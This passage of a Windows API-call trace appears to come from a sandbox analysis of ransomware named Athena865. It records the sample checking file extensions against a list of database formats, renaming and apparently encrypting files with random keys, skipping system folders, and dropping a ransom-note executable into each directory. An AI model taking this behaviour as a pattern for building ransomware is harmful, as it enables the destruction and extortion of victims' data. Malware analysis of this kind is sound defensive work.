(lpString1="llUI.MST", lpString2="daschema") returned 1 [0060.008] lstrlenW (lpString="db-journal") returned 10 [0060.008] lstrcmpiW (lpString1="hellUI.MST", lpString2="db-journal") returned 1 [0060.008] lstrlenW (lpString="db-shm") returned 6 [0060.008] lstrcmpiW (lpString1="UI.MST", lpString2="db-shm") returned 1 [0060.008] lstrlenW (lpString="db-wal") returned 6 [0060.008] lstrcmpiW (lpString1="UI.MST", lpString2="db-wal") returned 1 [0060.009] lstrlenW (lpString="dbc") returned 3 [0060.009] lstrcmpiW (lpString1="MST", lpString2="dbc") returned 1 [0060.009] lstrlenW (lpString="dbs") returned 3 [0060.009] lstrcmpiW (lpString1="MST", lpString2="dbs") returned 1 [0060.009] lstrlenW (lpString="dbt") returned 3 [0060.009] lstrcmpiW (lpString1="MST", lpString2="dbt") returned 1 [0060.009] lstrlenW (lpString="dbv") returned 3 [0060.009] lstrcmpiW (lpString1="MST", lpString2="dbv") returned 1 [0060.009] lstrlenW (lpString="dbx") returned 3 [0060.009] lstrcmpiW (lpString1="MST", lpString2="dbx") returned 1 [0060.009] lstrlenW (lpString="dcb") returned 3 [0060.009] lstrcmpiW (lpString1="MST", lpString2="dcb") returned 1 [0060.009] lstrlenW (lpString="dct") returned 3 [0060.009] lstrcmpiW (lpString1="MST", lpString2="dct") returned 1 [0060.009] lstrlenW (lpString="dcx") returned 3 [0060.009] lstrcmpiW (lpString1="MST", lpString2="dcx") returned 1 [0060.009] lstrlenW (lpString="ddl") returned 3 [0060.009] lstrcmpiW (lpString1="MST", lpString2="ddl") returned 1 [0060.009] lstrlenW (lpString="dlis") returned 4 [0060.009] lstrcmpiW (lpString1=".MST", lpString2="dlis") returned -1 [0060.009] lstrlenW (lpString="dp1") returned 3 [0060.009] lstrcmpiW (lpString1="MST", lpString2="dp1") returned 1 [0060.009] lstrlenW (lpString="dqy") returned 3 [0060.009] lstrcmpiW (lpString1="MST", lpString2="dqy") returned 1 [0060.009] lstrlenW (lpString="dsk") returned 3 [0060.009] lstrcmpiW (lpString1="MST", lpString2="dsk") returned 1 [0060.009] lstrlenW (lpString="dsn") returned 3 [0060.009] lstrcmpiW (lpString1="MST", lpString2="dsn") returned 1 [0060.009] lstrlenW (lpString="dtsx") returned 4 [0060.009] lstrcmpiW (lpString1=".MST", lpString2="dtsx") returned -1 [0060.009] lstrlenW (lpString="dxl") returned 3 [0060.009] lstrcmpiW (lpString1="MST", lpString2="dxl") returned 1 [0060.010] lstrlenW (lpString="eco") returned 3 [0060.010] lstrcmpiW (lpString1="MST", lpString2="eco") returned 1 [0060.010] lstrlenW (lpString="ecx") returned 3 [0060.010] lstrcmpiW (lpString1="MST", lpString2="ecx") returned 1 [0060.010] lstrlenW (lpString="edb") returned 3 [0060.010] lstrcmpiW (lpString1="MST", lpString2="edb") returned 1 [0060.010] lstrlenW (lpString="epim") returned 4 [0060.010] lstrcmpiW (lpString1=".MST", lpString2="epim") returned -1 [0060.010] lstrlenW (lpString="fcd") returned 3 [0060.010] lstrcmpiW (lpString1="MST", lpString2="fcd") returned 1 [0060.010] lstrlenW (lpString="fdb") returned 3 [0060.010] lstrcmpiW (lpString1="MST", lpString2="fdb") returned 1 [0060.010] lstrlenW (lpString="fic") returned 3 [0060.010] lstrcmpiW (lpString1="MST", lpString2="fic") returned 1 [0060.010] lstrlenW (lpString="flexolibrary") returned 12 [0060.010] lstrlenW (lpString="fm5") returned 3 [0060.010] lstrcmpiW (lpString1="MST", lpString2="fm5") returned 1 [0060.010] lstrlenW (lpString="fmp") returned 3 [0060.010] lstrcmpiW (lpString1="MST", lpString2="fmp") returned 1 [0060.010] lstrlenW (lpString="fmp12") returned 5 [0060.010] lstrcmpiW (lpString1="I.MST", lpString2="fmp12") returned 1 [0060.010] lstrlenW (lpString="fmpsl") returned 5 [0060.010] lstrcmpiW (lpString1="I.MST", lpString2="fmpsl") returned 1 [0060.010] lstrlenW (lpString="fol") returned 3 [0060.010] lstrcmpiW (lpString1="MST", lpString2="fol") returned 1 [0060.010] lstrlenW (lpString="fp3") returned 3 [0060.010] lstrcmpiW (lpString1="MST", lpString2="fp3") returned 1 [0060.010] lstrlenW (lpString="fp4") returned 3 [0060.010] lstrcmpiW (lpString1="MST", lpString2="fp4") returned 1 [0060.010] lstrlenW (lpString="fp5") returned 3 [0060.011] lstrcmpiW (lpString1="MST", lpString2="fp5") returned 1 [0060.011] lstrlenW (lpString="fp7") returned 3 [0060.011] lstrcmpiW (lpString1="MST", lpString2="fp7") returned 1 [0060.011] lstrlenW (lpString="fpt") returned 3 [0060.011] lstrcmpiW (lpString1="MST", lpString2="fpt") returned 1 [0060.011] lstrlenW (lpString="frm") returned 3 [0060.011] lstrcmpiW (lpString1="MST", lpString2="frm") returned 1 [0060.011] lstrlenW (lpString="gdb") returned 3 [0060.011] lstrcmpiW (lpString1="MST", lpString2="gdb") returned 1 [0060.011] lstrlenW (lpString="gdb") returned 3 [0060.011] lstrcmpiW (lpString1="MST", lpString2="gdb") returned 1 [0060.011] lstrlenW (lpString="grdb") returned 4 [0060.011] lstrcmpiW (lpString1=".MST", lpString2="grdb") returned -1 [0060.011] lstrlenW (lpString="gwi") returned 3 [0060.011] lstrcmpiW (lpString1="MST", lpString2="gwi") returned 1 [0060.011] lstrlenW (lpString="hdb") returned 3 [0060.011] lstrcmpiW (lpString1="MST", lpString2="hdb") returned 1 [0060.011] lstrlenW (lpString="his") returned 3 [0060.011] lstrcmpiW (lpString1="MST", lpString2="his") returned 1 [0060.011] lstrlenW (lpString="ib") returned 2 [0060.011] lstrcmpiW (lpString1="ST", lpString2="ib") returned 1 [0060.011] lstrlenW (lpString="idb") returned 3 [0060.011] lstrcmpiW (lpString1="MST", lpString2="idb") returned 1 [0060.011] lstrlenW (lpString="ihx") returned 3 [0060.011] lstrcmpiW (lpString1="MST", lpString2="ihx") returned 1 [0060.011] lstrlenW (lpString="itdb") returned 4 [0060.011] lstrcmpiW (lpString1=".MST", lpString2="itdb") returned -1 [0060.011] lstrlenW (lpString="itw") returned 3 [0060.011] lstrcmpiW (lpString1="MST", lpString2="itw") returned 1 [0060.011] lstrlenW (lpString="jet") returned 3 [0060.012] lstrcmpiW (lpString1="MST", lpString2="jet") returned 1 [0060.012] lstrlenW (lpString="jtx") returned 3 [0060.012] lstrcmpiW (lpString1="MST", lpString2="jtx") returned 1 [0060.012] lstrlenW (lpString="kdb") returned 3 [0060.012] lstrcmpiW (lpString1="MST", lpString2="kdb") returned 1 [0060.012] lstrlenW (lpString="kexi") returned 4 [0060.012] lstrcmpiW (lpString1=".MST", lpString2="kexi") returned -1 [0060.012] lstrlenW (lpString="kexic") returned 5 [0060.012] lstrcmpiW (lpString1="I.MST", lpString2="kexic") returned -1 [0060.012] lstrlenW (lpString="kexis") returned 5 [0060.012] lstrcmpiW (lpString1="I.MST", lpString2="kexis") returned -1 [0060.012] lstrlenW (lpString="lgc") returned 3 [0060.012] lstrcmpiW (lpString1="MST", lpString2="lgc") returned 1 [0060.012] lstrlenW (lpString="lwx") returned 3 [0060.012] lstrcmpiW (lpString1="MST", lpString2="lwx") returned 1 [0060.012] lstrlenW (lpString="maf") returned 3 [0060.012] lstrcmpiW (lpString1="MST", lpString2="maf") returned 1 [0060.012] lstrlenW (lpString="maq") returned 3 [0060.012] lstrcmpiW (lpString1="MST", lpString2="maq") returned 1 [0060.012] lstrlenW (lpString="mar") returned 3 [0060.012] lstrcmpiW (lpString1="MST", lpString2="mar") returned 1 [0060.012] lstrlenW (lpString="marshal") returned 7 [0060.012] lstrcmpiW (lpString1="lUI.MST", lpString2="marshal") returned -1 [0060.012] lstrlenW (lpString="mas") returned 3 [0060.012] lstrcmpiW (lpString1="MST", lpString2="mas") returned 1 [0060.012] lstrlenW (lpString="mav") returned 3 [0060.012] lstrcmpiW (lpString1="MST", lpString2="mav") returned 1 [0060.012] lstrlenW (lpString="maw") returned 3 [0060.012] lstrcmpiW (lpString1="MST", lpString2="maw") returned 1 [0060.012] lstrlenW (lpString="mdbhtml") returned 7 [0060.012] lstrcmpiW (lpString1="lUI.MST", lpString2="mdbhtml") returned -1 [0060.013] lstrlenW (lpString="mdn") returned 3 [0060.013] lstrcmpiW (lpString1="MST", lpString2="mdn") returned 1 [0060.013] lstrlenW (lpString="mdt") returned 3 [0060.013] lstrcmpiW (lpString1="MST", lpString2="mdt") returned 1 [0060.013] lstrlenW (lpString="mfd") returned 3 [0060.013] lstrcmpiW (lpString1="MST", lpString2="mfd") returned 1 [0060.013] lstrlenW (lpString="mpd") returned 3 [0060.013] lstrcmpiW (lpString1="MST", lpString2="mpd") returned 1 [0060.013] lstrlenW (lpString="mrg") returned 3 [0060.013] lstrcmpiW (lpString1="MST", lpString2="mrg") returned 1 [0060.013] lstrlenW (lpString="mud") returned 3 [0060.013] lstrcmpiW (lpString1="MST", lpString2="mud") returned -1 [0060.013] lstrlenW (lpString="mwb") returned 3 [0060.013] lstrcmpiW (lpString1="MST", lpString2="mwb") returned -1 [0060.013] lstrlenW (lpString="myd") returned 3 [0060.013] lstrcmpiW (lpString1="MST", lpString2="myd") returned -1 [0060.013] lstrlenW (lpString="ndf") returned 3 [0060.013] lstrcmpiW (lpString1="MST", lpString2="ndf") returned -1 [0060.013] lstrlenW (lpString="nnt") returned 3 [0060.013] lstrcmpiW (lpString1="MST", lpString2="nnt") returned -1 [0060.013] lstrlenW (lpString="nrmlib") returned 6 [0060.013] lstrcmpiW (lpString1="UI.MST", lpString2="nrmlib") returned 1 [0060.013] lstrlenW (lpString="ns2") returned 3 [0060.013] lstrcmpiW (lpString1="MST", lpString2="ns2") returned -1 [0060.013] lstrlenW (lpString="ns3") returned 3 [0060.013] lstrcmpiW (lpString1="MST", lpString2="ns3") returned -1 [0060.013] lstrlenW (lpString="ns4") returned 3 [0060.013] lstrcmpiW (lpString1="MST", lpString2="ns4") returned -1 [0060.013] lstrlenW (lpString="nsf") returned 3 [0060.013] lstrcmpiW (lpString1="MST", lpString2="nsf") returned -1 [0060.013] lstrlenW (lpString="nv") returned 2 [0060.013] lstrcmpiW (lpString1="ST", lpString2="nv") returned 1 [0060.014] lstrlenW (lpString="nv2") returned 3 [0060.014] lstrcmpiW (lpString1="MST", lpString2="nv2") returned -1 [0060.014] lstrlenW (lpString="nwdb") returned 4 [0060.014] lstrcmpiW (lpString1=".MST", lpString2="nwdb") returned -1 [0060.014] lstrlenW (lpString="nyf") returned 3 [0060.014] lstrcmpiW (lpString1="MST", lpString2="nyf") returned -1 [0060.014] lstrlenW (lpString="odb") returned 3 [0060.014] lstrcmpiW (lpString1="MST", lpString2="odb") returned -1 [0060.014] lstrlenW (lpString="odb") returned 3 [0060.014] lstrcmpiW (lpString1="MST", lpString2="odb") returned -1 [0060.014] lstrlenW (lpString="oqy") returned 3 [0060.014] lstrcmpiW (lpString1="MST", lpString2="oqy") returned -1 [0060.014] lstrlenW (lpString="ora") returned 3 [0060.014] lstrcmpiW (lpString1="MST", lpString2="ora") returned -1 [0060.014] lstrlenW (lpString="orx") returned 3 [0060.014] lstrcmpiW (lpString1="MST", lpString2="orx") returned -1 [0060.014] lstrlenW (lpString="owc") returned 3 [0060.014] lstrcmpiW (lpString1="MST", lpString2="owc") returned -1 [0060.014] lstrlenW (lpString="p96") returned 3 [0060.014] lstrcmpiW (lpString1="MST", lpString2="p96") returned -1 [0060.014] lstrlenW (lpString="p97") returned 3 [0060.014] lstrcmpiW (lpString1="MST", lpString2="p97") returned -1 [0060.014] lstrlenW (lpString="pan") returned 3 [0060.014] lstrcmpiW (lpString1="MST", lpString2="pan") returned -1 [0060.014] lstrlenW (lpString="pdb") returned 3 [0060.014] lstrcmpiW (lpString1="MST", lpString2="pdb") returned -1 [0060.014] lstrlenW (lpString="pdm") returned 3 [0060.014] lstrcmpiW (lpString1="MST", lpString2="pdm") returned -1 [0060.014] lstrlenW (lpString="pnz") returned 3 [0060.014] lstrcmpiW (lpString1="MST", lpString2="pnz") returned -1 [0060.014] lstrlenW (lpString="qry") returned 3 [0060.014] lstrcmpiW (lpString1="MST", lpString2="qry") returned -1 [0060.015] lstrlenW (lpString="qvd") returned 3 [0060.015] lstrcmpiW (lpString1="MST", lpString2="qvd") returned -1 [0060.015] lstrlenW (lpString="rbf") returned 3 [0060.015] lstrcmpiW (lpString1="MST", lpString2="rbf") returned -1 [0060.015] lstrlenW (lpString="rctd") returned 4 [0060.015] lstrcmpiW (lpString1=".MST", lpString2="rctd") returned -1 [0060.015] lstrlenW (lpString="rod") returned 3 [0060.015] lstrcmpiW (lpString1="MST", lpString2="rod") returned -1 [0060.015] lstrlenW (lpString="rodx") returned 4 [0060.015] lstrcmpiW (lpString1=".MST", lpString2="rodx") returned -1 [0060.015] lstrlenW (lpString="rpd") returned 3 [0060.015] lstrcmpiW (lpString1="MST", lpString2="rpd") returned -1 [0060.015] lstrlenW (lpString="rsd") returned 3 [0060.015] lstrcmpiW (lpString1="MST", lpString2="rsd") returned -1 [0060.015] lstrlenW (lpString="sas7bdat") returned 8 [0060.015] lstrcmpiW (lpString1="llUI.MST", lpString2="sas7bdat") returned -1 [0060.015] lstrlenW (lpString="sbf") returned 3 [0060.015] lstrcmpiW (lpString1="MST", lpString2="sbf") returned -1 [0060.015] lstrlenW (lpString="scx") returned 3 [0060.015] lstrcmpiW (lpString1="MST", lpString2="scx") returned -1 [0060.015] lstrlenW (lpString="sdb") returned 3 [0060.015] lstrcmpiW (lpString1="MST", lpString2="sdb") returned -1 [0060.016] lstrlenW (lpString="sdc") returned 3 [0060.016] lstrcmpiW (lpString1="MST", lpString2="sdc") returned -1 [0060.016] lstrlenW (lpString="sdf") returned 3 [0060.016] lstrcmpiW (lpString1="MST", lpString2="sdf") returned -1 [0060.016] lstrlenW (lpString="sis") returned 3 [0060.016] lstrcmpiW (lpString1="MST", lpString2="sis") returned -1 [0060.016] lstrlenW (lpString="spq") returned 3 [0060.016] lstrcmpiW (lpString1="MST", lpString2="spq") returned -1 [0060.016] lstrlenW (lpString="te") returned 2 [0060.016] lstrcmpiW (lpString1="ST", lpString2="te") returned -1 [0060.016] lstrlenW (lpString="teacher") returned 7 [0060.016] lstrcmpiW (lpString1="lUI.MST", lpString2="teacher") returned -1 [0060.016] lstrlenW (lpString="tmd") returned 3 [0060.016] lstrcmpiW (lpString1="MST", lpString2="tmd") returned -1 [0060.016] lstrlenW (lpString="tps") returned 3 [0060.016] lstrcmpiW (lpString1="MST", lpString2="tps") returned -1 [0060.016] lstrlenW (lpString="trc") returned 3 [0060.016] lstrcmpiW (lpString1="MST", lpString2="trc") returned -1 [0060.016] lstrlenW (lpString="trc") returned 3 [0060.016] lstrcmpiW (lpString1="MST", lpString2="trc") returned -1 [0060.016] lstrlenW (lpString="trm") returned 3 [0060.016] lstrcmpiW (lpString1="MST", lpString2="trm") returned -1 [0060.016] lstrlenW (lpString="udb") returned 3 [0060.016] lstrcmpiW (lpString1="MST", lpString2="udb") returned -1 [0060.016] lstrlenW (lpString="udl") returned 3 [0060.016] lstrcmpiW (lpString1="MST", lpString2="udl") returned -1 [0060.016] lstrlenW (lpString="usr") returned 3 [0060.016] lstrcmpiW (lpString1="MST", lpString2="usr") returned -1 [0060.016] lstrlenW (lpString="v12") returned 3 [0060.016] lstrcmpiW (lpString1="MST", lpString2="v12") returned -1 [0060.016] lstrlenW (lpString="vis") returned 3 [0060.017] lstrcmpiW (lpString1="MST", lpString2="vis") returned -1 [0060.017] lstrlenW (lpString="vpd") returned 3 [0060.017] lstrcmpiW (lpString1="MST", lpString2="vpd") returned -1 [0060.017] lstrlenW (lpString="vvv") returned 3 [0060.017] lstrcmpiW (lpString1="MST", lpString2="vvv") returned -1 [0060.017] lstrlenW (lpString="wdb") returned 3 [0060.017] lstrcmpiW (lpString1="MST", lpString2="wdb") returned -1 [0060.017] lstrlenW (lpString="wmdb") returned 4 [0060.017] lstrcmpiW (lpString1=".MST", lpString2="wmdb") returned -1 [0060.017] lstrlenW (lpString="wrk") returned 3 [0060.017] lstrcmpiW (lpString1="MST", lpString2="wrk") returned -1 [0060.017] lstrlenW (lpString="xdb") returned 3 [0060.017] lstrcmpiW (lpString1="MST", lpString2="xdb") returned -1 [0060.017] lstrlenW (lpString="xld") returned 3 [0060.017] lstrcmpiW (lpString1="MST", lpString2="xld") returned -1 [0060.017] lstrlenW (lpString="xmlff") returned 5 [0060.017] lstrcmpiW (lpString1="I.MST", lpString2="xmlff") returned -1 [0060.017] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST.Athena865") returned 84 [0060.017] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst.athena865"), dwFlags=0x1) returned 1 [0060.018] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0060.018] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3584) returned 1 [0060.018] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0060.018] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0060.018] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0060.018] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0060.019] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0060.019] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0060.019] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1100, lpName=0x0) returned 0x154 [0060.021] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1100) returned 0x100000 [0060.022] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0060.022] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0060.022] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0060.023] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0060.023] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0060.023] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52dfb8 [0060.023] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0060.023] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0060.023] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0060.023] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0060.023] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0060.023] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0060.023] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0060.023] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0060.023] CloseHandle (hObject=0x154) returned 1 [0060.023] CloseHandle (hObject=0x17c) returned 1 [0060.023] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0060.023] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0060.023] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0060.024] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x131a1c00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x131a1c00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ShellUI.MST", cAlternateFileName="")) returned 0 [0060.024] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0060.024] ReleaseMutex (hMutex=0xec) returned 1 [0060.024] CloseHandle (hObject=0xec) returned 1 [0060.024] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C" [0060.024] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0060.024] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f640 | out: hHeap=0x4f0000) returned 1 [0060.024] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C") returned 62 [0060.024] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\53B7C6218198A1B24481817CA452FA09") returned 0xec [0060.024] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0060.024] lstrcatW (in: lpString1="", lpString2="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C" [0060.024] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0060.024] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\how to back your files.exe"), bFailIfExists=1) returned 0 [0060.025] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0060.025] GetLastError () returned 0x0 [0060.025] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0060.025] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x538d08 [0060.025] ReadFile (in: hFile=0xf4, lpBuffer=0x538d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x538d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0060.026] CloseHandle (hObject=0xf4) returned 1 [0060.026] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d08 | out: hHeap=0x4f0000) returned 1 [0060.026] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0060.026] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbd3b8d80, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd3b8d80, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0060.026] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0060.026] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0060.026] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0060.026] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbd3b8d80, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd3b8d80, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.026] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0060.026] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0060.026] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0060.026] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0060.026] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Access.en-us", cAlternateFileName="ACCESS~1.EN-")) returned 1 [0060.026] lstrcmpiW (lpString1="Access.en-us", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0060.026] lstrcmpiW (lpString1="Access.en-us", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0060.026] lstrcmpiW (lpString1="Access.en-us", lpString2=".") returned 1 [0060.026] lstrcmpiW (lpString1="Access.en-us", lpString2="..") returned 1 [0060.026] lstrcmpiW (lpString1="Access.en-us", lpString2="windows") returned -1 [0060.026] lstrcmpiW (lpString1="Access.en-us", lpString2="bootmgr") returned -1 [0060.027] lstrcmpiW (lpString1="Access.en-us", lpString2="temp") returned -1 [0060.027] lstrcmpiW (lpString1="Access.en-us", lpString2="pagefile.sys") returned -1 [0060.027] lstrcmpiW (lpString1="Access.en-us", lpString2="boot") returned -1 [0060.027] lstrcmpiW (lpString1="Access.en-us", lpString2="ids.txt") returned -1 [0060.027] lstrcmpiW (lpString1="Access.en-us", lpString2="ntuser.dat") returned -1 [0060.027] lstrcmpiW (lpString1="Access.en-us", lpString2="perflogs") returned -1 [0060.027] lstrcmpiW (lpString1="Access.en-us", lpString2="MSBuild") returned -1 [0060.027] lstrlenW (lpString="Access.en-us") returned 12 [0060.027] lstrcpyW (in: lpString1=0x241e8c6, lpString2="Access.en-us" | out: lpString1="Access.en-us") returned="Access.en-us" [0060.027] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f640 [0060.027] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x98) returned 0x52dfb8 [0060.027] lstrcatW (in: lpString1="Access.en-us", lpString2="\\" | out: lpString1="Access.en-us\\") returned="Access.en-us\\" [0060.027] lstrcatW (in: lpString1="Access.en-us\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Access.en-us\\HOW TO BACK YOUR FILES.exe") returned="Access.en-us\\HOW TO BACK YOUR FILES.exe" [0060.027] CopyFileW 